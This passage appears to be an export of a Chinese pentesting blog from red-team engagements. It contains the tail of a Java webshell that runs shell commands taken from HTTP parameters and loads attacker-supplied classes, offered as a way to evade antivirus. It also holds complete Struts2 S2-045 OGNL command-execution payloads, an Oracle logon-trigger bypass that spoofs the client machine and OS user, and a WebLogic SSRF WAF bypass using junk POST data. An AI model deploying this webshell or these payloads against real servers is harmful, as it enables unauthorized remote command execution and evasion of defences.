class="string">&quot;antswordargbin&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">str4</span> <span class="operator">=</span> <span class="string">&quot;antswordargcmd&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">str5</span> <span class="operator">=</span> <span class="string">&quot;antswordargenv&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">str6</span> <span class="operator">=</span> <span class="string">&quot;antswordargdecoder&quot;</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="built_in">this</span>.response.setContentType(<span class="string">&quot;text/html&quot;</span>);</span><br><span class="line">      <span class="built_in">this</span>.request.setCharacterEncoding(<span class="built_in">this</span>.cs);</span><br><span class="line">      <span class="built_in">this</span>.response.setCharacterEncoding(<span class="built_in">this</span>.cs);</span><br><span class="line">      <span class="type">String</span> <span class="variable">str7</span> <span class="operator">=</span> decode(<span class="built_in">this</span>.request.getParameter(str3));</span><br><span class="line">      <span class="type">String</span> <span class="variable">str8</span> <span class="operator">=</span> decode(<span class="built_in">this</span>.request.getParameter(str4));</span><br><span class="line">      <span class="type">String</span> <span class="variable">str9</span> <span class="operator">=</span> decode(<span class="built_in">this</span>.request.getParameter(str5));</span><br><span class="line">      <span class="built_in">this</span>.decoderClassdata = decode(<span class="built_in">this</span>.request.getParameter(str6));</span><br><span class="line">      stringBuffer.append(ExecuteCommandCode(str7, str8, str9));</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception exception) &#123;</span><br><span class="line">      stringBuffer.append(<span class="string">&quot;ERROR:// &quot;</span> + exception.toString());</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="built_in">this</span>.response.getWriter().print(str1 + asoutput(stringBuffer.toString()) + str2);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception exception) &#123;&#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  String <span class="title function_">decode</span><span class="params">(String paramString)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      i = Integer.parseInt(<span class="built_in">this</span>.randomPrefix);</span><br><span class="line">      paramString = paramString.substring(i);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception exception) &#123;</span><br><span class="line">      i = <span class="number">0</span>;</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span>.encoder.equals(<span class="string">&quot;hex&quot;</span>)) &#123;</span><br><span class="line">      <span class="keyword">if</span> (paramString == <span class="literal">null</span> || paramString.equals(<span class="string">&quot;&quot;</span>))</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span>; </span><br><span class="line">      <span class="type">String</span> <span class="variable">str1</span> <span class="operator">=</span> <span class="string">&quot;0123456789ABCDEF&quot;</span>;</span><br><span class="line">      paramString = paramString.toUpperCase();</span><br><span class="line">      <span class="type">ByteArrayOutputStream</span> <span class="variable">byteArrayOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>(paramString.length() / <span class="number">2</span>);</span><br><span class="line">      <span class="type">String</span> <span class="variable">str2</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">      <span class="keyword">for</span> (<span class="type">byte</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">0</span>; b &lt; paramString.length(); b += <span class="number">2</span>) &#123;</span><br><span class="line">        str2 = str2 + (str1.indexOf(paramString.charAt(b)) &lt;&lt; <span class="number">4</span> | str1.indexOf(paramString.charAt(b + <span class="number">1</span>))) + <span class="string">&quot;,&quot;</span>;</span><br><span class="line">        byteArrayOutputStream.write(str1.indexOf(paramString.charAt(b)) &lt;&lt; <span class="number">4</span> | str1.indexOf(paramString.charAt(b + <span class="number">1</span>)));</span><br><span class="line">      &#125; </span><br><span class="line">      <span class="keyword">return</span> byteArrayOutputStream.toString(<span class="built_in">this</span>.cs);</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span>.encoder.equals(<span class="string">&quot;base64&quot;</span>))</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(Base64DecodeToByte(paramString), <span class="built_in">this</span>.cs); </span><br><span class="line">    <span class="keyword">return</span> paramString;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> String <span class="title function_">ExecuteCommandCode</span><span class="params">(String paramString1, String paramString2, String paramString3)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">StringBuffer</span> <span class="variable">stringBuffer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br><span class="line">    String[] arrayOfString1 = &#123; paramString1, !isWin() ? <span class="string">&quot;-c&quot;</span> : <span class="string">&quot;/c&quot;</span>, paramString2 &#125;;</span><br><span class="line">    Map&lt;String, String&gt; map = System.getenv();</span><br><span class="line">    HashMap&lt;String, String&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;String, String&gt;(map);</span><br><span class="line">    String[] arrayOfString2 = paramString3.split(<span class="string">&quot;\\|\\|\\|asline\\|\\|\\|&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">byte</span> <span class="variable">b1</span> <span class="operator">=</span> <span class="number">0</span>; b1 &lt; arrayOfString2.length; b1++) &#123;</span><br><span class="line">      String[] arrayOfString = arrayOfString2[b1].split(<span class="string">&quot;\\|\\|\\|askey\\|\\|\\|&quot;</span>);</span><br><span class="line">      <span class="keyword">if</span> (arrayOfString.length == <span class="number">2</span>)</span><br><span class="line">        hashMap.put(arrayOfString[<span class="number">0</span>], arrayOfString[<span class="number">1</span>]); </span><br><span class="line">    &#125; </span><br><span class="line">    String[] arrayOfString3 = <span class="keyword">new</span> <span class="title class_">String</span>[hashMap.size()];</span><br><span class="line">    <span class="type">byte</span> <span class="variable">b2</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (String str : hashMap.keySet()) &#123;</span><br><span class="line">      arrayOfString3[b2] = str + <span class="string">&quot;=&quot;</span> + (String)hashMap.get(str);</span><br><span class="line">      b2++;</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> Runtime.getRuntime().exec(arrayOfString1, arrayOfString3);</span><br><span class="line">    CopyInputStream(process.getInputStream(), stringBuffer);</span><br><span class="line">    CopyInputStream(process.getErrorStream(), stringBuffer);</span><br><span class="line">    <span class="keyword">return</span> stringBuffer.toString();</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="type">boolean</span> <span class="title function_">isWin</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;os.name&quot;</span>);</span><br><span class="line">    str = str.toLowerCase();</span><br><span class="line">    <span class="keyword">return</span> str.startsWith(<span class="string">&quot;win&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">void</span> <span class="title function_">CopyInputStream</span><span class="params">(InputStream paramInputStream, StringBuffer paramStringBuffer)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">BufferedReader</span> <span class="variable">bufferedReader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(paramInputStream, <span class="built_in">this</span>.cs));</span><br><span class="line">    String str;</span><br><span class="line">    <span class="keyword">while</span> ((str = bufferedReader.readLine()) != <span class="literal">null</span>)</span><br><span class="line">      paramStringBuffer.append(str + <span class="string">&quot;\r\n&quot;</span>); </span><br><span class="line">    bufferedReader.close();</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">parseObj</span><span class="params">(Object paramObject)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (paramObject.getClass().isArray()) &#123;</span><br><span class="line">      Object[] arrayOfObject = (Object[])paramObject;</span><br><span class="line">      <span class="built_in">this</span>.request = (HttpServletRequest)arrayOfObject[<span class="number">0</span>];</span><br><span class="line">      <span class="built_in">this</span>.response = (HttpServletResponse)arrayOfObject[<span class="number">1</span>];</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">        Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;javax.servlet.jsp.PageContext&quot;</span>);</span><br><span class="line">        <span class="built_in">this</span>.request = (HttpServletRequest)clazz.getDeclaredMethod(<span class="string">&quot;getRequest&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke(paramObject, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">        <span class="built_in">this</span>.response = (HttpServletResponse)clazz.getDeclaredMethod(<span class="string">&quot;getResponse&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke(paramObject, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">      &#125; <span class="keyword">catch</span> (Exception exception) &#123;</span><br><span class="line">        <span class="keyword">if</span> (paramObject <span class="keyword">instanceof</span> HttpServletRequest) &#123;</span><br><span class="line">          <span class="built_in">this</span>.request = (HttpServletRequest)paramObject;</span><br><span class="line">          <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Field</span> <span class="variable">field1</span> <span class="operator">=</span> <span class="built_in">this</span>.request.getClass().getDeclaredField(<span class="string">&quot;request&quot;</span>);</span><br><span class="line">            field1.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">HttpServletRequest</span> <span class="variable">httpServletRequest</span> <span class="operator">=</span> (HttpServletRequest)field1.get(<span class="built_in">this</span>.request);</span><br><span class="line">            <span class="type">Field</span> <span class="variable">field2</span> <span class="operator">=</span> httpServletRequest.getClass().getDeclaredField(<span class="string">&quot;response&quot;</span>);</span><br><span class="line">            field2.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="built_in">this</span>.response = (HttpServletResponse)field2.get(httpServletRequest);</span><br><span class="line">          &#125; <span class="keyword">catch</span> (Exception exception1) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">              <span class="built_in">this</span>.response = (HttpServletResponse)<span class="built_in">this</span>.request.getClass().getDeclaredMethod(<span class="string">&quot;getResponse&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke(paramObject, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception exception2) &#123;&#125;</span><br><span class="line">          &#125; </span><br><span class="line">        &#125; </span><br><span class="line">      &#125; </span><br><span class="line">    &#125; </span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> String <span class="title function_">asoutput</span><span class="params">(String paramString)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="type">byte</span>[] arrayOfByte = Base64DecodeToByte(<span class="built_in">this</span>.decoderClassdata);</span><br><span class="line">      <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> ClassLoader.class.getDeclaredMethod(<span class="string">&quot;defineClass&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; <span class="type">byte</span>[].class, <span class="type">int</span>.class, <span class="type">int</span>.class &#125;);</span><br><span class="line">      method.setAccessible(<span class="literal">true</span>);</span><br><span class="line">      Class&lt;T&gt; clazz = (Class)method.invoke(getClass().getClassLoader(), <span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; arrayOfByte, Integer.valueOf(<span class="number">0</span>), Integer.valueOf(arrayOfByte.length) &#125;);</span><br><span class="line">      <span class="keyword">return</span> clazz.getConstructor(<span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; String.class &#125;).newInstance(<span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; paramString &#125;).toString();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception exception) &#123;</span><br><span class="line">      <span class="keyword">return</span> paramString;</span><br><span class="line">    &#125; </span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="type">byte</span>[] Base64DecodeToByte(String paramString) &#123;</span><br><span class="line">    <span class="type">byte</span>[] arrayOfByte = <span class="literal">null</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> System.getProperty(<span class="string">&quot;java.version&quot;</span>);</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      <span class="keyword">if</span> (str.compareTo(<span class="string">&quot;1.9&quot;</span>) &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">        Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;java.util.Base64&quot;</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">object</span> <span class="operator">=</span> clazz.getMethod(<span class="string">&quot;getDecoder&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke((Object)<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">        arrayOfByte = (<span class="type">byte</span>[])object.getClass().getMethod(<span class="string">&quot;decode&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; String.class &#125;).invoke(object, <span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; paramString &#125;);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;sun.misc.BASE64Decoder&quot;</span>);</span><br><span class="line">        arrayOfByte = (<span class="type">byte</span>[])clazz.getMethod(<span class="string">&quot;decodeBuffer&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] &#123; String.class &#125;).invoke(clazz.newInstance(), <span class="keyword">new</span> <span class="title class_">Object</span>[] &#123; paramString &#125;);</span><br><span class="line">      &#125; </span><br><span class="line">      <span class="keyword">return</span> arrayOfByte;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception exception) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0</span>];</span><br><span class="line">    &#125; </span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>


<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>1.通过classLoad的方式，其实可以动态加载好几层；<br>2.结合不同编码、混合编码、classLoad基本可以绕过大部分查杀</p>
]]></content>
      <categories>
        <category>安全</category>
      </categories>
      <tags>
        <tag>webshell</tag>
      </tags>
  </entry>
  <entry>
    <title>Oracle-LOGON_AUDIT_TRIGGER限制</title>
    <url>/archives/d36c1a86.html</url>
    <content><![CDATA[<p>在某次红蓝演练中遇到Oracle用户、密码正确，但无法连接 提示没有权限。</p>
<p><img data-src="https://s2.loli.net/2023/04/06/oMhbv9KRZicGs4N.png"></p>
<span id="more"></span>

<h1 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h1><p>根据报错内容<code>触发器SYS.LOGON_AUDIT_TRIGGER</code>执行出错，查询对应<span class="exturl" data-url="aHR0cHM6Ly93d3cuZGJhLW9yYWNsZS5jb20vYXJ0X2J1aWxkZXJfc2VjX2F1ZGl0Lmh0bQ==">材料<i class="fa fa-external-link-alt"></i></span>可得知使用LOGON_AUDIT_TRIGGER是一个登录触发器（有登录行为及执行该触发器）。<img data-src="https://s2.loli.net/2023/04/06/iwZteM6EVOPSdNq.png"></p>
<h1 id="解决"><a href="#解决" class="headerlink" title="解决"></a>解决</h1><p>根据现有情况猜测，数据库服务端对登录行为进行审计。判断并限制登录用户跟登录来源是否匹配，如果不匹配即不允许登录。通过修改驱动属性解决，将驱动属性中的machine设置为客户端主机名，osuser设置为客户端登录的用户。</p>
<p><img data-src="https://s2.loli.net/2023/04/06/FaKYGsCrO2wk6Lq.png"></p>
<p>成功连接</p>
<p><img data-src="https://s2.loli.net/2023/04/06/pPO9T8Rng6UakzG.png"></p>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>Oracle</tag>
      </tags>
  </entry>
  <entry>
    <title>Struts2另类命令执行</title>
    <url>/archives/be483e67.html</url>
    <content><![CDATA[<p>在某次HW遇到了一个Struts2可以获取目录，但无法执行命令<br><img data-src="https://i.loli.net/2021/08/07/wUpI28ykAf7tKoz.png" alt="Struts2RCE"></p>
<span id="more"></span>

<h1 id="流量代理"><a href="#流量代理" class="headerlink" title="流量代理"></a>流量代理</h1><p>根据已知信息，现阶段可获取路径，代表该地方确实存在Struts2漏洞。通过将对应流量代理到BurpSuite。</p>
<p><img data-src="https://i.loli.net/2021/08/07/FcRWwtQHI34CNhX.png" alt="Struts2-流量代理"></p>
<h1 id="过程Payload语句"><a href="#过程Payload语句" class="headerlink" title="过程Payload语句"></a>过程Payload语句</h1><p>根据代理获取的流量，获取其判断是否存在Struts S2-045（or S2-046）漏洞使用如下语句</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 判断漏洞是否存在，在响应包中添加头信息，内容为vul:vul</span><br><span class="line">%&#123;#context[<span class="string">&#x27;com.opensymphony.xwork2.dispatcher.HttpServletResponse&#x27;</span>].addHeader(<span class="string">&#x27;vul&#x27;</span>,<span class="string">&#x27;vul&#x27;</span>)&#125;.multipart/form-data</span><br><span class="line"></span><br><span class="line"># 判断漏洞是否存在，让服务器直接返回[tttpppppp111]信息</span><br><span class="line">%&#123;(#nike=<span class="string">&#x27;multipart/form-data&#x27;</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#o.println(<span class="string">&#x27;[&#x27;</span>+<span class="string">&#x27;tttpppppp&#x27;</span>+<span class="string">&#x27;111]&#x27;</span>)).(#o.close())&#125;<span class="string">&quot;]  </span></span><br></pre></td></tr></table></figure>

<p>返回[tttpppppp111]数据<br><img data-src="https://i.loli.net/2021/08/07/vt42mY9bWrR6uCf.png" alt="Struts2-漏洞判断-响应体返回"><br>返回头vul:vul信息<br><img data-src="https://i.loli.net/2021/08/07/QB7JAUkINvfHoO8.png" alt="Struts2-漏洞判断-响应头返回"><br>获取目录信息、命令执行使用如下语句</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 目录获取语句</span><br><span class="line">%&#123;(#nike=<span class="string">&#x27;multipart/form-data&#x27;</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#path=#req.getRealPath(<span class="string">&#x27;/&#x27;</span>)).(#o.println(#path)).(#o.close())&#125;</span><br><span class="line"></span><br><span class="line"># 命令执行语句</span><br><span class="line">%&#123;(#nike=<span class="string">&#x27;multipart/form-data&#x27;</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[<span class="string">&#x27;com.opensymphony.xwork2.ActionContext.container&#x27;</span>]).(#ognlUtil=#container.getInstance(<span class="meta">@com</span>.opensymphony.xwork2.ognl.OgnlUtil<span class="meta">@class</span>)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=<span class="string">&#x27;whoami&#x27;</span>).(#iswin=(<span class="meta">@java</span>.lang.System<span class="meta">@getProperty(&#x27;os.name&#x27;)</span>.toLowerCase().contains(<span class="string">&#x27;win&#x27;</span>))).(#cmds=(#iswin?&#123;<span class="string">&#x27;cmd.exe&#x27;</span>,<span class="string">&#x27;/c&#x27;</span>,#cmd&#125;:&#123;<span class="string">&#x27;/bin/bash&#x27;</span>,<span class="string">&#x27;-c&#x27;</span>,#cmd&#125;)).(#p=<span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(<span class="literal">true</span>)).(#process=#p.start()).(#ros=(<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getOutputStream())).(<span class="meta">@org</span>.apache.commons.io.IOUtils<span class="meta">@copy(#process.getInputStream(),#ros)</span>).(#ros.flush())&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>目录获取</p>
<p><img data-src="https://i.loli.net/2021/08/07/UVioQrIBW3M6jtT.png" alt="Struts2-路径获取"><br>命令执行，截图为本地测试环境所以可成功执行命令。</p>
<p><img data-src="https://i.loli.net/2021/08/07/epklcRmXZhHV6yz.png" alt="Struts2-命令执行"></p>
<p>通过对目标环境不断测试，发现出问题的语句为</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">org.apache.commons.io.IOUtils</span><br></pre></td></tr></table></figure>

<p>去除问题语句，重写payload，让其可返回cmds参数值</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 去除org.apache.commons.io.IOUtils语句，根据路径获取语句修改，直接返回cmds参数值</span><br><span class="line">%&#123;(#nike=<span class="string">&#x27;multipart/form-data&#x27;</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#cmds=<span class="string">&quot;testCMD&quot;</span>).(#o.println(#cmds)).(#o.close())&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>返回cmds参数值testCMD<br><img data-src="https://i.loli.net/2021/08/07/lF982LEYgDwGcJK.png" alt="Struts2-echoCMDS"></p>
<h1 id="最终Payload语句"><a href="#最终Payload语句" class="headerlink" title="最终Payload语句"></a>最终Payload语句</h1><p>根据上文已经可以直接输出对应数据，只需要将执行命令之后的结果通过该方式访问即可。结合命令执行的Payload语句，最终语句如下</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"># 完成语句改造，输出命令执行结果</span><br><span class="line">%&#123;(#nike=<span class="string">&#x27;multipart/form-data&#x27;</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#cmd=<span class="string">&#x27;whoami&#x27;</span>). (#cmds=(#iswin?&#123;<span class="string">&#x27;cmd.exe&#x27;</span>,<span class="string">&#x27;/c&#x27;</span>,#cmd&#125;:&#123;<span class="string">&#x27;/bin/bash&#x27;</span>,<span class="string">&#x27;-c&#x27;</span>,#cmd&#125;)).(#p=<span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(<span class="literal">true</span>)).(#process=#p.start()).(#re=<span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(#process.getInputStream())).(#ros=<span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(#re)).(#o.println(#ros.readLine())).(#o.close())&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>命令执行结果输出</p>
<p><img data-src="https://i.loli.net/2021/08/07/mpzAxRUWlkGPCOr.png" alt="Struts2-命令执行输出"><br>上述语句存在一个问题：如果命令执行结果存在多行，需要不断添加<code>(#o.println(#ros.readLine()))</code>。可通过如下语句获取命令执行存在多少行</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">#</span><br><span class="line">%&#123;(#nike=<span class="string">&#x27;multipart/form-data&#x27;</span>).(#dm=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>.getWriter()).(#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>).(#cmd=<span class="string">&#x27;whoami&#x27;</span>). (#cmds=(#iswin?&#123;<span class="string">&#x27;cmd.exe&#x27;</span>,<span class="string">&#x27;/c&#x27;</span>,#cmd&#125;:&#123;<span class="string">&#x27;/bin/bash&#x27;</span>,<span class="string">&#x27;-c&#x27;</span>,#cmd&#125;)).(#p=<span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(<span class="literal">true</span>)).(#process=#p.start()).(#re=<span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(#process.getInputStream())).(#ros=<span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(#re)).(#o.println(#ros.lines().count())).(#o.close())&#125;</span><br></pre></td></tr></table></figure>

<p>输出命令执行结果具体行数<br><img data-src="https://i.loli.net/2021/08/07/1PRNMIQToghWmeX.png" alt="Struts2-echoCount"><br>根据查询到的资料，java可直接通过lambda或者collect输出。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"><span class="keyword">import</span> java.lang.ProcessBuilder;</span><br><span class="line"><span class="keyword">import</span> java.util.stream.Collectors;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cmdExec</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ProcessBuilder</span> <span class="variable">pb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProcessBuilder</span>(<span class="string">&quot;ls&quot;</span>);</span><br><span class="line">        <span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> pb.start();</span><br><span class="line">        <span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(process.getInputStream()));</span><br><span class="line">        reader.lines().forEach(java.lang.System.out::println);</span><br><span class="line"><span class="comment">//        System.out.println(reader.lines().collect(Collectors.joining()));</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>lambda输出<br><img data-src="https://i.loli.net/2021/08/07/hjMEbGwRlaZxIJq.png" alt="Struts2-lambdaECHO"></p>
<p>collect输出会将所有数据去除换行，变成一行输出<br><img data-src="https://i.loli.net/2021/08/07/SUNywL1xonj8Dzu.png" alt="Struts2-collectEcho"><br>但是在ognl中无法这样操作，后续直接执行命令将shell反弹到cs，就没有继续深究了。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>1.这个算是一个比较奇葩的环境，服务器上lib存在commons.io依赖，但是在调用的出问题。猜测是依赖冲突导致；<br>2.针对现在能执行命令可结合echo写webshell，如果可出网并且无杀软可直接powershell等方式getshell；<br>3.针对现在命令执行结果只能输出一行的情况，可以将结果写入到web目录下一个文件中，直接访问获取，但这不是一个好方法。后续可以找个机会再看看ognl表达式。</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>Struts2</tag>
      </tags>
  </entry>
  <entry>
    <title>weblogic-ssrf-redis</title>
    <url>/archives/6201c371.html</url>
    <content><![CDATA[<p>最近遇到weblogic的目标，大部分漏洞都修复了，发现了存在ssrf，但是部署了WAF。无法直接利用，后面通过脏数据的方式绕过waf。对内网进行探测，发现redis，通过定时任务方式，但反弹失败。</p>
<span id="more"></span>

<p>访问目标系统，使用weblogicscan发现了uddiexplorer目录。但是直接访问uddiexplorer&#x2F;SearchPublicRegistries.jsp发现页面为空白，查看网页源码信息，发现源码都被注释。拦截响应内容，将注释符号删除，可得到正常页面。这时候发送post请求，发现被waf拦截。</p>
<p><img data-src="https://i.loli.net/2020/11/22/fM9J1kScK5tvZaU.png" alt="Bypass-waf"></p>
<p>在post数据中添加任意参数，并填充数值为脏数据（约180W），可成功请求。通过uddiexplorer&#x2F;SetupUDDIExplorer.jsp页面获取其内网地址。编写脚本探测内网信息。</p>
